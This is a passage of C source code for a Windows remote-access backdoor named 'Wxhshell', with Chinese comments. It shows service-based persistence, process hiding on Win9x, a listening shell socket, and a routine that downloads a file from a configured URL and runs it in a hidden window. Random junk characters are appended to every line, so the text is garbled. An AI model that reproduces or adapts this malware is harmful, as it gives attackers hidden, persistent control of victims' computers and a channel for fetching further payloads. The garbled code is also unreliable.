ULONG InheritedFromUniqueProcessId; 8P"_#M?!
} PROCESS_BASIC_INFORMATION; h68]=KyK
-CRQp1]
PROCNTQSIP NtQueryInformationProcess; 4WE6fJ2X
m\ddp_l
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a\%xB >LX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |gsE2vV
]>+PnP35G
HANDLE hProcess; MNg^]tpf
PROCESS_BASIC_INFORMATION pbi; 8Th` ]tI
bO&7-Z~:=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uaOKv.%
if(NULL == hInst ) return 0; on8WQf'A#
y2+p1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MSV2ip3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A.D{.a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =+x yI
[Tnsr(Z
if (!NtQueryInformationProcess) return 0; kFQ8
y~>y}
z
Nl ,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J!5v~<v?-
if(!hProcess) return 0; P<Zh XN'
lw :`M2P,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rvyrxw%[
(E,Yo
CloseHandle(hProcess); oX4q`rt
~`D|IWMDq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q//,4>JKf
if(hProcess==NULL) return 0; _ib"b#
#BQ.R,
HMODULE hMod; $z$u{
char procName[255]; 4]/7 )x?R
unsigned long cbNeeded; p2N:;lXM
A"aV'~>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HBY.DCN[Z
sO5?aB&
CloseHandle(hProcess); J-ePE7i
o=RM-tR`v
if(strstr(procName,"services")) return 1; // 以服务启动 T2D<UhP
w ~ dk#=
return 0; // 注册表启动 .)+hH y
} }/,HM9Ke
*-12VIG'H
// 主模块 4:7V./" 9
int StartWxhshell(LPSTR lpCmdLine) iL=
m{
{ [lk'xzE
SOCKET wsl; `juLQH
BOOL val=TRUE; ZbT/$\0(6
int port=0; KE1ao9H8wR
struct sockaddr_in door; zh$}~RG[
< Z|Ep1W
if(wscfg.ws_autoins) Install(); oxj3[</'k
a"av#Y
port=atoi(lpCmdLine); i_kE^SSgm
=E&OuX-R
if(port<=0) port=wscfg.ws_port; i%{3W:!4t
vfNAs>X g"
WSADATA data; UYA_jpI P
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e;GU
T:
@Eb2k!T
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~Xlrvb}LP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x'zBK0i
door.sin_family = AF_INET; l_j4DQBRV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O}[PJfvBHo
door.sin_port = htons(port); [I:KpAd/
DOz\n|8S
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~w</!s
closesocket(wsl); HK)cKzG[s!
return 1; {T'GQz+R"
} KI]wm
4 V1bLm
if(listen(wsl,2) == INVALID_SOCKET) { ,+;:3gRk9
closesocket(wsl); {u[V{XIUh
return 1; %Rh;=p`
} -AYA~O(&
Wxhshell(wsl); ^VT1vu
%03
WSACleanup(); @h?shW=^
&/A8-:m
return 0; F/1#l@qN
+
<c^=&7Lq
} j$da8] !
QR">.k4QJ
// 以NT服务方式启动 y{9~&r
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pr,p=4m{\
{ $^ 'aCU0C
DWORD status = 0; $ \*`
}Y
DWORD specificError = 0xfffffff; XCsiEKZ_i
IkzTJ%>
serviceStatus.dwServiceType = SERVICE_WIN32; OquAql:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3K@@D B6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dV?5Q_}
serviceStatus.dwWin32ExitCode = 0; U6[ang'l
serviceStatus.dwServiceSpecificExitCode = 0; ?4G|+yby
serviceStatus.dwCheckPoint = 0; LwuF0\
serviceStatus.dwWaitHint = 0; @mt0kV9
\uG`|Dn
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -xg2q
V\c
if (hServiceStatusHandle==0) return; (!5LW'3B
( #Z`
status = GetLastError(); xw<OLWW
if (status!=NO_ERROR) W/=|/-\]/
{ +KEkmXZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; W
YW|P2*
serviceStatus.dwCheckPoint = 0; T88Y
qI
serviceStatus.dwWaitHint = 0; x\s,= n3z
serviceStatus.dwWin32ExitCode = status; pWE `x|J
serviceStatus.dwServiceSpecificExitCode = specificError; 6O2=Ns;J6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:NmCpgL!
return; Q6C-4ja
} 'z=:[#b
XA_FOw!cX
serviceStatus.dwCurrentState = SERVICE_RUNNING; +~nzii3
serviceStatus.dwCheckPoint = 0; _U|7'^ |
serviceStatus.dwWaitHint = 0; Xj+q~4{|vt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E3/:.t
} :RxHw;!
i;PL\Er:tX
// 处理NT服务事件,比如:启动、停止 +~sd"v6
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gi^Ha=?J%
{ .wrL3z_
switch(fdwControl) $\a5&1rl
{ T:asm1BC[
case SERVICE_CONTROL_STOP: MVv1.6c7Y
serviceStatus.dwWin32ExitCode = 0; {}>n{_
serviceStatus.dwCurrentState = SERVICE_STOPPED; pN[0YmY#
serviceStatus.dwCheckPoint = 0; IO.<q,pP!_
serviceStatus.dwWaitHint = 0; o**y Z2
{ Wx)K*9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4YU/uQm
} sTHq&(hLUG
return; o=fgin/E\
case SERVICE_CONTROL_PAUSE: smAC,-6]~
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^a9 oKI9n
break; ^ons:$0h
case SERVICE_CONTROL_CONTINUE: w8~K/>!f
serviceStatus.dwCurrentState = SERVICE_RUNNING; +:jT=V"X
break; ;SKh
case SERVICE_CONTROL_INTERROGATE: s]B"qFA
break; #6S75{rnW"
}; o5Rz%k#h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>6DSQq~t(
} \[wCp*;1}
b 1^n KB
// 标准应用程序主函数 8_\W/I!7b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cm>E[SHr
{ cJ}QXuuUv
oholt/gb+0
// 获取操作系统版本 1@sM1WMX
OsIsNt=GetOsVer(); eo#^L}
GetModuleFileName(NULL,ExeFile,MAX_PATH); #$'"cfRxc
j;P+_Hfe/E
// 从命令行安装 s0LA^2U
if(strpbrk(lpCmdLine,"iI")) Install(); \X}8q
S9Y[4*//
// 下载执行文件 YwT-T,oD
if(wscfg.ws_downexe) { 5a8>g
[2U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FJM;X-UOY
WinExec(wscfg.ws_filenam,SW_HIDE); y)J(K*x/$
} wod/&!)]A
KAA3iA@>+
if(!OsIsNt) { ^Ip3A
// 如果时win9x,隐藏进程并且设置为注册表启动 3=4SGt5m
HideProc(); 1|y$~R.H
StartWxhshell(lpCmdLine); <ZPZk'53<f
} +S {
else cHvF* A
if(StartFromService()) T.?k>Ak
// 以服务方式启动 (
76{2
StartServiceCtrlDispatcher(DispatchTable); uOk%AL>
else Mn^zYW|(
// 普通方式启动 f$xhb3Qn
StartWxhshell(lpCmdLine); +/'<z
'?/&n8J\
return 0; ~\_T5/I%
}